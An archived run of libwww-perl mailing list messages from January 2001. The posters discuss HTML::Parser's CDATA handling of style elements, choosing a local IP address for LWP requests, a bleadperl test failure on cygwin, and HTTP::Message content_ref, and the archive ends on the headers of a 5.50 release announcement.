To: "Sean M. Burke" <sburke@spinn.net>
cc: Bjoern Hoehrmann <derhoermi@gmx.net>, libwww@perl.org
Subject: Re: possible bug in HTML::Parser comment handler
In-Reply-To: <3.0.6.32.20010112003526.0083aab0@mail.spinn.net>
Message-ID: <Pine.LNX.4.21.0101121340420.17036-100000@meatloop.andover.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

	
I have solved the problem I was having thanks to the info here.  All I had
to do was pass is_cdata as an arg to the handler and only print if it was
false.  Thanks very much.  
	dave


On Fri, 12 Jan 2001, Sean M. Burke wrote:

> At 11:21 PM 2001-01-11 +0100, Bjoern Hoehrmann wrote:
> >At 15:28 11.01.01 -0500, you wrote:
> >>It seems that the parser is not properly detecting multi-line HTML
> >>comments.  I was trying to print out the dtext of a html document and
> >>noticed that comments kept showing up in the output.  Upon further
> >>examination, the single line comments were being ignored but ones like
> >>this:
> >>
> >><!--
> >>td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
> >>-->
> >
> >Well, the content model of the style element is CDATA, your "comments"
> >may look like comments but they are no comments in HTML and SGML
> >terms. That's not a bug.
> 
> I don't see what's wrong with that comment.
> 
> >From ISO 8879 Section 10.3 declares a "comment declaration" (yes, horrible
> term for it) as:
> 
>  comment declaration =
>   "<!",
>   (comment
>     (s | comment)*
>   )?
>   ">"
> 
>  comment =
>   "--",
>   SGML_character*
>   "--"
> 
> And in section 6.2.1, there's the explanation of "s":
> 
>  s = SPACE | RE | RS | SEPCHAR
>   and in the concrete syntax, that means [\x20\cm\cj\t]
> 
> And as to "SGML_character", section 9.2 basically says that aside from any
> characters that you go and reserve as being impermissible, anything is an
> SGML_character.  (I'm getting this from the /SGML Handbook/, which contains
> the full text of ISO 8879, plus annotation, etc.)
> 
> 
> So I don't see a problem with 
>   <!--
>   td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
>   -->
> 
> 
> 
> BTW, the XML spec's definition is even clearer, er, sort of:
> 
>    Comment ::= '<!--' ((Char - '-') | ('-' (Char - '-')))* '-->'
> 
> To this they add:  "Note that the grammar does not allow a comment ending
> in --->. The following example is not well-formed: '<!-- B+, B, or B--->'".
>  I'm a bit unclear on whether this really falls out of the grammar, but
> anyway.
> 
> 
> --
> Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/
> 
> 


From gisle@activestate.com Fri Jan 12 10:46:45 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09261 for <hyper>;
          12 Jan 2001 10:46 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa24940
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:46 PST
Received: (qmail 6896 invoked by uid 508); 12 Jan 2001 18:46:31 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6887 invoked from network); 12 Jan 2001 18:46:30 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:46:30 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id KAA12308;
	Fri, 12 Jan 2001 10:45:31 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: "Sean M. Burke" <sburke@spinn.net>
Cc: Bjoern Hoehrmann <derhoermi@gmx.net>, Dave <dave.olszewski@andover.net>, 
    libwww@perl.org
Subject: Re: possible bug in HTML::Parser comment handler
References: <Pine.LNX.4.21.0101111526120.12491-100000@meatloop.andover. net>
	<3.0.6.32.20010112003526.0083aab0@mail.spinn.net>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 10:45:31 -0800
In-Reply-To: "Sean M. Burke"'s message of "Fri, 12 Jan 2001 00:35:26 -0700"
Message-ID: <lrely8fw38.fsf@caliper.ActiveState.com>
Lines: 41
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Sean M. Burke" <sburke@spinn.net> writes:

> At 11:21 PM 2001-01-11 +0100, Bjoern Hoehrmann wrote:
> >At 15:28 11.01.01 -0500, you wrote:
> >>It seems that the parser is not properly detecting multi-line HTML
> >>comments.  I was trying to print out the dtext of a html document and
> >>noticed that comments kept showing up in the output.  Upon further
> >>examination, the single line comments were being ignored but ones like
> >>this:
> >>
> >><!--
> >>td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
> >>-->
> >
> >Well, the content model of the style element is CDATA, your "comments"
> >may look like comments but they are no comments in HTML and SGML
> >terms. That's not a bug.
> 
> I don't see what's wrong with that comment.

 From the shape of the text we can guess that the original poster has
left out the fact that the context for this "comment" was a <style>
element.  The fact that he says that comment handlers do not work is
also an indication of this.

This is probably what he parsed:

  <style>
  <!--
    td {font-family: Arial,Geneva,Helvetica,sans-serif; color: #000000;}
  -->
  </style>

A <style> element is parsed in literal (CDATA) mode.  No tags are
recognized inside.  It is always just text.

The other elements that are parsed like this are <script>, <xmp> and
<plaintext>.

Regards,
Gisle

From dballing@yahoo-inc.com Fri Jan 12 10:53:57 2001
Received: from poindexter.ics.uci.edu
           ( poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09971 for <hyper>;
          12 Jan 2001 10:53 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa26813
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 10:53 PST
Received: (qmail 8491 invoked by uid 508); 12 Jan 2001 18:53:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8481 invoked from network); 12 Jan 2001 18:53:42 -0000
Received: from mail-relay1.yahoo.com (206.132.105.34)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 18:53:42 -0000
Received: from [206.132.89.194] (e-coli.corp.yahoo.com [206.132.89.194])
	by mail-relay1.yahoo.com (Postfix) with ESMTP
	id D14398B622; Fri, 12 Jan 2001 10:53:40 -0800 (PST)
Mime-Version: 1.0
X-Sender: dballing@pop1.yahoo.com
Message-Id: <p05010408b685031df0ae@[206.132.89.194]>
In-Reply-To: <lrn1cwfwqj.fsf@caliper.ActiveState.com>
References: <Pine.BSF.4.10.10101120946340.95470-100000@ted.hq.inty.net>
 <lrn1cwfwqj.fsf@caliper.ActiveState.com>
Date: Fri, 12 Jan 2001 10:53:39 -0800
To: Gisle Aas <gisle@activestate.com>
From: "Derek J. Balling" <dballing@yahoo-inc.com>
Subject: Re: Requests from different IP addresses?
Cc: Stefan Kruger <stefan@inty.co.uk>, libwww@perl.org
Content-Type: text/plain; charset="us-ascii"

At 10:31 AM -0800 1/12/01, Gisle Aas wrote:
>Stefan Kruger <stefan@inty.co.uk> writes:
>
>> For a machine with several IP-addresses, is it possible
>> to specify from which a HTTP::Request is sent?
>
>You can set the (undocumented) variable
>@LWP::Protocol::http::EXTRA_SOCK_OPTS to specify LocalAddr.  This
>variable contains additional parameters that are always passed to
>IO::Socket::INET's constructor.
>
>Something like this:
>
>  @LWP::Protocol::http::EXTRA_SOCK_OPTS = (LocalAddr => 'xxxxxxx');
>
>  # The normal drill
>  use LWP;
>  my $ua = LWP::UserAgent->new;
>  my $res = $ua->request(HTTP::Request->new(GET => "http://www.perl.org"));
>
>  print $res->as_string;

Wouldn't that @LWP assignment have to come AFTER the 'use LWP'?

just making sure...

D
-- 

--------------------------------------------------------
Derek J. Balling                            408-530-5062
Technical Yahoo                           Do You Yahoo!?

From gerrit@familiehaase.de Fri Jan 12 11:04:45 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa10940 for <hyper>;
          12 Jan 2001 11:04 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa29748
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 11:04 PST
Received: (qmail 10317 invoked by uid 508); 12 Jan 2001 19:04:35 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 10304 invoked from network); 12 Jan 2001 19:04:31 -0000
Received: from p3ee0f7a1.dip.t-dialin.net (HELO iokaste.koeln.convey.de) (62.224.247.161)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 19:04:31 -0000
Received: from ismene (192.168.5.3) by iokaste.koeln.convey.de
 (EMWAC SMTPRS 0.81) with SMTP id <B0000000320@iokaste.koeln.convey.de>;
 Fri, 12 Jan 2001 20:11:53 +0100
From: "Gerrit P. Haase" <gerrit@familiehaase.de>
Organization: convey Information Systems GmbH
To: Gisle Aas <gisle@activestate.com>, cygwin@sources.redhat.com, 
    libwww@perl.org
Date: Fri, 12 Jan 2001 20:03:02 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: problems installing libwww-perl on cygwin
Reply-to: gerrit.haase@convey.de
Message-ID: <3A5F62F6.29973.24B87A4@localhost>
Priority: normal
References: "Gerrit P. Haase"'s message of "Fri, 12 Jan 2001 07:26:44 +0100"
In-reply-to: <lritnkfwn3.fsf@caliper.ActiveState.com>
X-mailer: Pegasus Mail for Win32 (v3.12cDE)

<2001-01-12 10:33 Uhr, hat Gisle Aas geschrieben:>
< Re: problems installing libwww-perl >

> "Gerrit P. Haase" <gerrit.haase@t-online.de> writes:
> 
> > base/negotiate......FAILED test 3
> >         Failed 1/3 tests, 66.67% okay
> 
> Looks like the bleadperl bug Andreas reported last week.  What perl
> were you using?

Yes, bleadperl. Rsync'ed the same day, don't know the exact patchlevel 
now, i believe s.th above of 8404.

Thanks,

gph

-- 
gerrit.haase@convey.de
PGP Version: 6.5.8 Public Key Information
KeyID: 0xC8C9D69A, Type/Size: DH/DSS 2048/1024bit 
Key fingerprint = 57C8 1B1D CFE4 8515 AA3E  4499 A326 0F3C C8C9 D69A

From gisle@activestate.com Fri Jan 12 11:10:34 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11538 for <hyper>;
          12 Jan 2001 11:10 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01303
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 11:10 PST
Received: (qmail 11970 invoked by uid 508); 12 Jan 2001 19:10:21 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 11961 invoked from network); 12 Jan 2001 19:10:21 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 19:10:21 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id LAA12335;
	Fri, 12 Jan 2001 11:09:39 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Bjoern Hoehrmann <derhoermi@gmx.net>
Cc: "Sean M. Burke" <sburke@spinn.net>, libwww@perl.org
Subject: Re: possible bug in HTML::Parser comment handler
References: <5.0.2.1.2.20010111231949.00a69610@pop.gmx.net>
	<Pine.LNX.4.21.0101111526120.12491-100000@meatloop.andover. net>
	<5.0.2.1.2.20010112182254.00a8fe00@pop.gmx.net>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 11:09:39 -0800
In-Reply-To: Bjoern Hoehrmann's message of "Fri, 12 Jan 2001 18:25:58 +0100"
Message-ID: <lrae8wfuz0.fsf@caliper.ActiveState.com>
Lines: 29
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Bjoern Hoehrmann <derhoermi@gmx.net> writes:

> "Although the STYLE and SCRIPT elements use CDATA for their data
> model, for these elements, CDATA must be handled differently by user
> agents. Markup and entities must be treated as raw text and passed to
> the application as is. The first occurrence of the character sequence
> "</" (end-tag open delimiter) is treated as terminating the end of the
> element's content. In valid documents, this would be the end tag for
> the element."

Note that HTML::Parser does in fact allow "</" inside these CDATA
elements.  You need the complete corresponding end tag to get out of
CDATA mode.  I would say that the "</" rule is pretty stupid.  I can't
find any browser around here that follow it.

Officially this should not work:

   <script language="Perl">
      print "<h1>Hello</h1>\n";
      print "<p>Bla, bla,....";
   </script>

To make this correct the first print statement has to be written
something like:

      print "<h1>Hello<" . "/h1\n";

Regards,
Gisle

From gisle@activestate.com Fri Jan 12 11:12:20 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa11661 for <hyper>;
          12 Jan 2001 11:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01780
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 11:12 PST
Received: (qmail 13170 invoked by uid 508); 12 Jan 2001 19:12:10 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 13161 invoked from network); 12 Jan 2001 19:12:10 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 19:12:10 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id LAA12345;
	Fri, 12 Jan 2001 11:11:38 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: "Derek J. Balling" <dballing@yahoo-inc.com>
Cc: Stefan Kruger <stefan@inty.co.uk>, libwww@perl.org
Subject: Re: Requests from different IP addresses?
References: <Pine.BSF.4.10.10101120946340.95470-100000@ted.hq.inty.net>
	<lrn1cwfwqj.fsf@caliper.ActiveState.com>
	<p05010408b685031df0ae@[206.132.89.194]>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 11:11:38 -0800
In-Reply-To: "Derek J. Balling"'s message of "Fri, 12 Jan 2001 10:53:39 -0800"
Message-ID: <lr66jkfuvp.fsf@caliper.ActiveState.com>
Lines: 31
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Derek J. Balling" <dballing@yahoo-inc.com> writes:

> At 10:31 AM -0800 1/12/01, Gisle Aas wrote:
> >Stefan Kruger <stefan@inty.co.uk> writes:
> >
> >> For a machine with several IP-addresses, is it possible
> >> to specify from which a HTTP::Request is sent?
> >
> >You can set the (undocumented) variable
> >@LWP::Protocol::http::EXTRA_SOCK_OPTS to specify LocalAddr.  This
> >variable contains additional parameters that are always passed to
> >IO::Socket::INET's constructor.
> >
> >Something like this:
> >
> >  @LWP::Protocol::http::EXTRA_SOCK_OPTS = (LocalAddr => 'xxxxxxx');
> >
> >  # The normal drill
> >  use LWP;
> >  my $ua = LWP::UserAgent->new;
> >  my $res = $ua->request(HTTP::Request->new(GET => "http://www.perl.org"));
> >
> >  print $res->as_string;
> 
> Wouldn't that @LWP assignment have to come AFTER the 'use LWP'?

It should not matter.  LWP will not override this value if it is
already set.

Regards,
Gisle

From gisle@activestate.com Fri Jan 12 11:18:10 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa12150 for <hyper>;
          12 Jan 2001 11:18 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa03338
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 11:18 PST
Received: (qmail 15562 invoked by uid 508); 12 Jan 2001 19:17:59 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 15553 invoked from network); 12 Jan 2001 19:17:59 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 19:17:59 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id LAA12348;
	Fri, 12 Jan 2001 11:17:30 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: gerrit.haase@convey.de
Cc: cygwin@sources.redhat.com, libwww@perl.org
Subject: Re: problems installing libwww-perl on cygwin
References: <3A5F62F6.29973.24B87A4@localhost>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 11:17:30 -0800
In-Reply-To: "Gerrit P. Haase"'s message of "Fri, 12 Jan 2001 20:03:02 +0100"
Message-ID: <lr1yu8fulx.fsf@caliper.ActiveState.com>
Lines: 20
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

"Gerrit P. Haase" <gerrit@familiehaase.de> writes:

> <2001-01-12 10:33 Uhr, hat Gisle Aas geschrieben:>
> < Re: problems installing libwww-perl >
> 
> > "Gerrit P. Haase" <gerrit.haase@t-online.de> writes:
> > 
> > > base/negotiate......FAILED test 3
> > >         Failed 1/3 tests, 66.67% okay
> > 
> > Looks like the bleadperl bug Andreas reported last week.  What perl
> > were you using?
> 
> Yes, bleadperl. Rsync'ed the same day, don't know the exact patchlevel 
> now, i believe s.th above of 8404.

This bug was fixed @8387.  I don't really know when it was introduced.

Regards,
Gisle

From heinrich@wh9.tu-dresden.de Fri Jan 12 12:08:13 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa16397 for <hyper>;
          12 Jan 2001 12:08 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16647
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 12:08 PST
Received: (qmail 24783 invoked by uid 508); 12 Jan 2001 20:08:03 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 24774 invoked from network); 12 Jan 2001 20:08:03 -0000
Received: from zaphod.wh9.tu-dresden.de (0@141.76.120.10)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 20:08:03 -0000
Received: (from heinrich@localhost)
	by zaphod.wh9.tu-dresden.de (8.9.3/8.9.3/Debian 8.9.3-21) id VAA13505
	for libwww@perl.org; Fri, 12 Jan 2001 21:08:01 +0100
From: Heinrich Langos <heinrich@wh9.tu-dresden.de>
Date: Fri, 12 Jan 2001 21:08:00 +0100
To: libwww@perl.org
Subject: setting HTTP::Message content_ref ?
Message-ID: <20010112210800.B11769@wh9.tu-dresden.de>
Mail-Followup-To: heinrich, libwww@perl.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i


hi 

from the documentation i see that HTTP::Message->content can be used
to get and set the content while ->content_ref can only be used to get
a reference to the current content.

is there a special reason for this ?

TIA

-heinrich

From gisle@activestate.com Fri Jan 12 12:28:41 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa18307 for <hyper>;
          12 Jan 2001 12:28 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22103
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 12:28 PST
Received: (qmail 28602 invoked by uid 508); 12 Jan 2001 20:28:32 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 28593 invoked from network); 12 Jan 2001 20:28:31 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 20:28:31 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id MAA12514;
	Fri, 12 Jan 2001 12:27:18 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Heinrich Langos <heinrich@wh9.tu-dresden.de>
Cc: libwww@perl.org
Subject: Re: setting HTTP::Message content_ref ?
References: <20010112210800.B11769@wh9.tu-dresden.de>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 12:27:18 -0800
In-Reply-To: Heinrich Langos's message of "Fri, 12 Jan 2001 21:08:00 +0100"
Message-ID: <lritnkect5.fsf@caliper.ActiveState.com>
Lines: 25
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Heinrich Langos <heinrich@wh9.tu-dresden.de> writes:

> from the documentation i see that HTTP::Message->content can be used
> to get and set the content while ->content_ref can only be used to get
> a reference to the current content.
> 
> is there a special reason for this ?

It is just that there is no way in perl to set up a hash value (which
is what the content attribute of HTTP::Message is) to reference the
same data as the passed in reference reference.  It means we can't get
the true reference semantics unless we change all users of of content
to also deal with "reference to SCALAR" stuff.  One way around this is
to use the Array-RefElem module, but I don't think I want a dependency
it it.

You can do updates through ->content_ref with code like this:

  ${$req->content_ref} = "..................";

but this will still make a copy if you have a multi-megabyte data
block to transfer.

Regards,
Gisle

From gerrit.haase@t-online.de Fri Jan 12 13:04:15 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa21082 for <hyper>;
          12 Jan 2001 13:04 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa01549
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 13:04 PST
Received: (qmail 411 invoked by uid 508); 12 Jan 2001 21:04:02 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 402 invoked from network); 12 Jan 2001 21:04:01 -0000
Received: from mailout04.sul.t-online.com (194.25.134.18)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 21:04:01 -0000
Received: from fwd03.sul.t-online.com 
	by mailout04.sul.t-online.com with smtp 
	id 14HBMd-0006SV-00; Fri, 12 Jan 2001 22:03:59 +0100
Received: from gods.ods.org (320081107336-0001@[193.158.187.144]) by fmrl03.sul.t-online.com
	with smtp id 14HBMO-1bq7xAC; Fri, 12 Jan 2001 22:03:44 +0100
Received: from loreley ([192.168.1.1]) by gods.ods.org ; Fri, 12 Jan 2001 22:06:15 +0100
From: "Gerrit P. Haase" <gerrit.haase@t-online.de>
Organization: Esse keine toten Tiere
To: cygwin@sources.redhat.com, libwww@perl.org
Date: Fri, 12 Jan 2001 22:06:15 +0100
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: problems installing libwww-perl on cygwin
Reply-to: gerrit.haase@t-online.de
Message-ID: <3A5F7FD7.13616.14801D8@localhost>
Priority: normal
References: "Gerrit P. Haase"'s message of "Fri, 12 Jan 2001 20:03:02 +0100"
In-reply-to: <lr1yu8fulx.fsf@caliper.ActiveState.com>
X-mailer: Pegasus Mail for Win32 (v3.12cDE)
X-Sender: 320081107336-0001@t-dialin.net

<Am Freitag, 12. Januar 2001 11:17 wars, als Gisle Aas schrieb:>
< Re: problems installing libwww-perl >
 
> > Yes, bleadperl. Rsync'ed the same day, don't know the exact patchlevel 
> > now, i believe s.th above of 8404.
> 
> This bug was fixed @8387.  I don't really know when it was introduced.

Ooops, tes as i was at home i saw, i am up to patch 8369...
gph

-- 
=^..^=
Gerrit Peter Haase
ID: 0x28A05137
FP: 875C 745E 01CF 8A34 2767  BE39 305E 5261 28A0 5137

From gisle@activestate.com Fri Jan 12 13:07:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa21384 for <hyper>;
          12 Jan 2001 13:07 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa02489
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 13:07 PST
Received: (qmail 1921 invoked by uid 508); 12 Jan 2001 21:07:40 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 1912 invoked from network); 12 Jan 2001 21:07:40 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 12 Jan 2001 21:07:40 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id NAA13317;
	Fri, 12 Jan 2001 13:07:07 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: Dave <dave.olszewski@andover.net>
Cc: "Sean M. Burke" <sburke@spinn.net>, Bjoern Hoehrmann <derhoermi@gmx.net>, 
    libwww@perl.org
Subject: Re: possible bug in HTML::Parser comment handler
References: <Pine.LNX.4.21.0101121340420.17036-100000@meatloop.andover.net>
From: Gisle Aas <gisle@activestate.com>
Date: 12 Jan 2001 13:07:07 -0800
In-Reply-To: Dave's message of "Fri, 12 Jan 2001 13:42:26 -0500 (EST)"
Message-ID: <lr7l40eays.fsf@caliper.ActiveState.com>
Lines: 11
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Dave <dave.olszewski@andover.net> writes:

> I have solved the problem I was having thanks to the info here.  All I had
> to do was pass is_cdata as an arg to the handler and only print if it was
> false.

The downside of this approach is that the content of <xmp> elements is
not printed.  But this tag is anyway not official HTML any more.

Regards,
Gisle

From gisle@activestate.com Fri Jan 12 21:12:59 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa26437 for <hyper>;
          12 Jan 2001 21:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10132
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 12 Jan 2001 21:12 PST
Received: (qmail 20324 invoked by uid 508); 13 Jan 2001 05:12:46 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 20315 invoked from network); 13 Jan 2001 05:12:45 -0000
Received: from gw.activestate.com (HELO caliper.ActiveState.com) (209.17.183.249)
  by tmtowtdi.perl.org with SMTP; 13 Jan 2001 05:12:45 -0000
Received: (from gisle@localhost)
	by caliper.ActiveState.com (8.9.3/8.9.3) id VAA14799;
	Fri, 12 Jan 2001 21:12:19 -0800
X-Authentication-Warning: caliper.ActiveState.com: gisle set sender to gisle@ActiveState.com using -f
Sender: gisle@caliper.activestate.com
To: libwww@perl.org
Subject: libwww-perl-5.50
From: Gisle Aas <gisle@activestate.com>
